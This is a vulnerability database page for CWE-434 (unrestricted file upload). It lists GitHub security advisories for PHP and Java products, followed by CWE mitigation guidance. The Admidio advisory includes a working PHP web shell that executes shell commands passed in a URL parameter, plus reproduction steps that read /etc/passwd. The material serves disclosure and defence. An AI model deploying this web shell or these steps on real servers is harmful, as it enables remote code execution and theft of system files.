Common Weakness Enumeration

CWE-434

Allowed

Unrestricted Upload of File with Dangerous Type

Abstraction: Base · Status: Draft

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

6006 vulnerabilities reference this CWE, most recent first.

GHSA-G857-47PM-3R32

Vulnerability from github – Published: 2023-02-27 21:30 – Updated: 2023-03-08 17:22
VLAI
Summary
laravel-admin has Arbitrary File Upload vulnerability
Details

An arbitrary file upload vulnerability in laravel-admin v1.8.19 allows attackers to execute arbitrary code via a crafted PHP file.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "encore/laravel-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-24249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-08T17:22:00Z",
    "nvd_published_at": "2023-02-27T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "An arbitrary file upload vulnerability in laravel-admin v1.8.19 allows attackers to execute arbitrary code via a crafted PHP file.",
  "id": "GHSA-g857-47pm-3r32",
  "modified": "2023-03-08T17:22:00Z",
  "published": "2023-02-27T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24249"
    },
    {
      "type": "WEB",
      "url": "https://github.com/z-song/laravel-admin/issues/5726"
    },
    {
      "type": "WEB",
      "url": "https://flyd.uk/post/cve-2023-24249"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/z-song/laravel-admin"
    },
    {
      "type": "WEB",
      "url": "https://laravel-admin.org"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "laravel-admin has Arbitrary File Upload vulnerability"
}

GHSA-G862-HHR5-33GV

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details

tangro Business Workflow before 1.18.1 requests a list of allowed filetypes from the server and restricts uploads to the filetypes contained in this list. However, this restriction is enforced in the browser (client-side) and can be circumvented. This allows an attacker to upload any file as an attachment to a workitem.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-26174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-18T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "tangro Business Workflow before 1.18.1 requests a list of allowed filetypes from the server and restricts uploads to the filetypes contained in this list. However, this restriction is enforced in the browser (client-side) and can be circumvented. This allows an attacker to upload any file as an attachment to a workitem.",
  "id": "GHSA-g862-hhr5-33gv",
  "modified": "2022-05-24T17:36:53Z",
  "published": "2022-05-24T17:36:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26174"
    },
    {
      "type": "WEB",
      "url": "https://blog.to.com/advisory-tangro-bwf-1-17-5-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://www.tangro.de"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G872-JWWR-VGGM

Vulnerability from github – Published: 2024-07-29 16:32 – Updated: 2024-07-29 16:32
VLAI
Summary
Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment
Details

Description:

Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidio_base_url}/adm_my_files/messages_attachments/{file_name}.

The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.

An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.

Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.

Impact:

An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:

  • Execute arbitrary code or commands.
  • Access, modify, or delete sensitive data.
  • Install malicious software or scripts.
  • Gain further access to internal networks.
  • Disrupt services and applications hosted on the server.

Recommendation:

  • Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.
  • Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.

Steps to Reproduce:

  1. As a member user, go to write an email message.
  2. Upload a PHP file in the Attachment, containing the following content:
<?php
$command = isset($_GET['command']) ? $_GET['command'] : '';
$output = [];
$return_var = 0;
exec($command, $output, $return_var);
echo '<h1>Exploiting RCE</h1>';
echo 'Command: '.$command;
echo '\n<pre>';
echo implode("\n", $output);
echo '</pre>';
?>
  1. Send the email.
  2. In the message history go to the sent message.
  3. Download the file, to get the uploaded file name.
  4. Go to the following URL: {admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd
  5. The server's passwd file would be returned in the response.

Proof Of Concept:

image

Figure 1: Code of messages_send.php, not having file extension verification.

image

Figure 2: Uploading Webshell as attachment.

image

Figure 3: Download the uploaded file to get the uploaded file name.

image

Figure 4: Uploaded File name.

image

Figure 5: RCE via web shell.

image

Figure 6: RCE via Webshell.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-38529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-29T16:32:32Z",
    "nvd_published_at": "2024-07-29T15:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "### Description:\nRemote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL `{admidio_base_url}/adm_my_files/messages_attachments/{file_name}`.\n\nThe vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.\n\nAn attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.\n\nNote: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.\n\n### Impact:\nAn attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:\n\n- Execute arbitrary code or commands.\n- Access, modify, or delete sensitive data.\n- Install malicious software or scripts.\n- Gain further access to internal networks.\n- Disrupt services and applications hosted on the server.\n\n### Recommendation:\n\n- Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.\n- Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.\n\n### Steps to Reproduce:\n1. As a member user, go to write an email message.\n2. Upload a PHP file in the Attachment, containing the following content:\n```\n\u003c?php\n$command = isset($_GET[\u0027command\u0027]) ? $_GET[\u0027command\u0027] : \u0027\u0027;\n$output = [];\n$return_var = 0;\nexec($command, $output, $return_var);\necho \u0027\u003ch1\u003eExploiting RCE\u003c/h1\u003e\u0027;\necho \u0027Command: \u0027.$command;\necho \u0027\\n\u003cpre\u003e\u0027;\necho implode(\"\\n\", $output);\necho \u0027\u003c/pre\u003e\u0027;\n?\u003e\n```\n3. Send the email.\n4. In the message history go to the sent message.\n5. Download the file, to get the uploaded file name.\n6. Go to the following URL: \n`{admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd`\n7. The server\u0027s passwd file would be returned in the response.\n\n### Proof Of Concept:\n\n![image](https://github.com/Admidio/admidio/assets/59286712/51b524de-ec51-4875-80e9-e2037da9c573)\n\n_Figure 1: Code of messages_send.php, not having file extension verification._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/74b47e6d-e2e9-4535-82e3-d6ad2f677361)\n\n_Figure 2: Uploading Webshell as attachment._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/abea26eb-b36f-46db-9e3a-8a4ba82d9740)\n\n_Figure 3: Download the uploaded file to get the uploaded file name._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/fbb14aae-d5c6-454b-bafa-8d03d6d8a208)\n\n_Figure 4: Uploaded File name._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/f8436248-1768-4714-ad2d-87f157145c61)\n\n_Figure 5: RCE via web shell._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/edc5b992-227f-43f9-bef9-87959766a63c)\n\n_Figure 6: RCE via Webshell._",
  "id": "GHSA-g872-jwwr-vggm",
  "modified": "2024-07-29T16:32:32Z",
  "published": "2024-07-29T16:32:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-g872-jwwr-vggm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38529"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/commit/3b1cc1cda05747edebe15f2825b79bc5a673d94c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment"
}

GHSA-G8FX-4FG7-7W87

Vulnerability from github – Published: 2023-12-22 03:30 – Updated: 2023-12-22 03:30
VLAI
Details

A vulnerability was found in PHPGurukul Online Notes Sharing System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /user/add-notes.php. The manipulation leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248741 was assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-7054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-22T02:15:43Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in PHPGurukul Online Notes Sharing System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /user/add-notes.php. The manipulation leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248741 was assigned to this vulnerability.",
  "id": "GHSA-g8fx-4fg7-7w87",
  "modified": "2023-12-22T03:30:33Z",
  "published": "2023-12-22T03:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7054"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dhabaleshwar/Open-Source-Vulnerabilities/blob/main/notes_malicious_fileupload.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.248741"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.248741"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G8H7-MCP6-PF47

Vulnerability from github – Published: 2023-09-20 03:30 – Updated: 2023-09-22 19:46
VLAI
Summary
File Upload vulnerability in Dolibarr ERP CRM
Details

File Upload vulnerability in Dolibarr ERP CRM v.17.0.1 and before allows a remote attacker to execute arbitrary code and obtain sensitive information via the extension filtering and renaming functions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dolibarr/dolibarr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "17.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-38887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-21T17:03:51Z",
    "nvd_published_at": "2023-09-20T01:15:56Z",
    "severity": "HIGH"
  },
  "details": "File Upload vulnerability in Dolibarr ERP CRM v.17.0.1 and before allows a remote attacker to execute arbitrary code and obtain sensitive information via the extension filtering and renaming functions.",
  "id": "GHSA-g8h7-mcp6-pf47",
  "modified": "2023-09-22T19:46:51Z",
  "published": "2023-09-20T03:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38887"
    },
    {
      "type": "WEB",
      "url": "https://akerva.com/wp-content/uploads/2023/09/AKERVA_Security-Advisory_CVE-2023-38887_Dolibarr_AFU.pdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Dolibarr/dolibarr"
    },
    {
      "type": "WEB",
      "url": "http://dolibarr.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Upload vulnerability in Dolibarr ERP CRM"
}

GHSA-G8J8-MGH9-Q77P

Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-03-01 21:32
VLAI
Summary
File upload leading to RCE in MCMS
Details

An arbitrary file upload vulnerability in the component /ms/file/uploadTemplate.do of MCMS v5.2.4 allows attackers to execute arbitrary code.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "net.mingsoft:ms-mcms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-46036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-01T21:29:04Z",
    "nvd_published_at": "2022-02-18T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An arbitrary file upload vulnerability in the component /ms/file/uploadTemplate.do of MCMS v5.2.4 allows attackers to execute arbitrary code.",
  "id": "GHSA-g8j8-mgh9-q77p",
  "modified": "2022-03-01T21:32:31Z",
  "published": "2022-02-19T00:01:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46036"
    },
    {
      "type": "WEB",
      "url": "https://lycshub.github.io/2021/12/28/MCMS-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File upload leading to RCE in MCMS"
}

GHSA-G8PF-X7GV-62XV

Vulnerability from github – Published: 2022-05-14 01:47 – Updated: 2022-05-14 01:47
VLAI
Details

School Event Management System 1.0 allows Arbitrary File Upload via event/controller.php?action=photos.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-18793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-16T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "School Event Management System 1.0 allows Arbitrary File Upload via event/controller.php?action=photos.",
  "id": "GHSA-g8pf-x7gv-62xv",
  "modified": "2022-05-14T01:47:39Z",
  "published": "2022-05-14T01:47:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18793"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45723"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/150006/School-Event-Management-System-1.0-Shell-Upload.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G8VJ-85M9-CRFQ

Vulnerability from github – Published: 2025-01-16 00:31 – Updated: 2025-02-03 21:31
VLAI
Details

An arbitrary file upload vulnerability in the UI login page logo upload function of Process Maker pm4core-docker 4.1.21-RC7 allows attackers to execute arbitrary code via uploading a crafted PHP or HTML file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An arbitrary file upload vulnerability in the UI login page logo upload function of Process Maker pm4core-docker 4.1.21-RC7 allows attackers to execute arbitrary code via uploading a crafted PHP or HTML file.",
  "id": "GHSA-g8vj-85m9-crfq",
  "modified": "2025-02-03T21:31:48Z",
  "published": "2025-01-16T00:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41454"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php-lover-boy/processmaker"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G8XR-F823-CR6V

Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05
VLAI
Details

Parameter manipulation can bypass authentication to cause file upload and execution. This will execute the remote code. This issue affects: Raonwiz DEXT5Editor versions prior to 3.5.1405747.1100.03.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-15T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Parameter manipulation can bypass authentication to cause file upload and execution. This will execute the remote code. This issue affects: Raonwiz DEXT5Editor versions prior to 3.5.1405747.1100.03.",
  "id": "GHSA-g8xr-f823-cr6v",
  "modified": "2022-05-24T19:05:19Z",
  "published": "2022-05-24T19:05:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7864"
    },
    {
      "type": "WEB",
      "url": "https://www.krcert.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=36085"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G95R-39H2-QXQ6

Vulnerability from github – Published: 2022-05-14 03:21 – Updated: 2022-05-14 03:21
VLAI
Details

The plugin upload component in Z-BlogPHP 1.5.1 allows remote attackers to execute arbitrary PHP code via the app_id parameter to zb_users/plugin/AppCentre/plugin_edit.php because of an unanchored regular expression, a different vulnerability than CVE-2018-8893. The component must be accessed directly by an administrator, or through CSRF.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-9153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-16T09:58:00Z",
    "severity": "HIGH"
  },
  "details": "The plugin upload component in Z-BlogPHP 1.5.1 allows remote attackers to execute arbitrary PHP code via the app_id parameter to zb_users/plugin/AppCentre/plugin_edit.php because of an unanchored regular expression, a different vulnerability than CVE-2018-8893. The component must be accessed directly by an administrator, or through CSRF.",
  "id": "GHSA-g95r-39h2-qxq6",
  "modified": "2022-05-14T03:21:40Z",
  "published": "2022-05-14T03:21:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9153"
    },
    {
      "type": "WEB",
      "url": "https://xz.aliyun.com/t/2277"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation
Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Mitigation
Implementation

Strategy: Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

Mitigation
Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Mitigation
Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.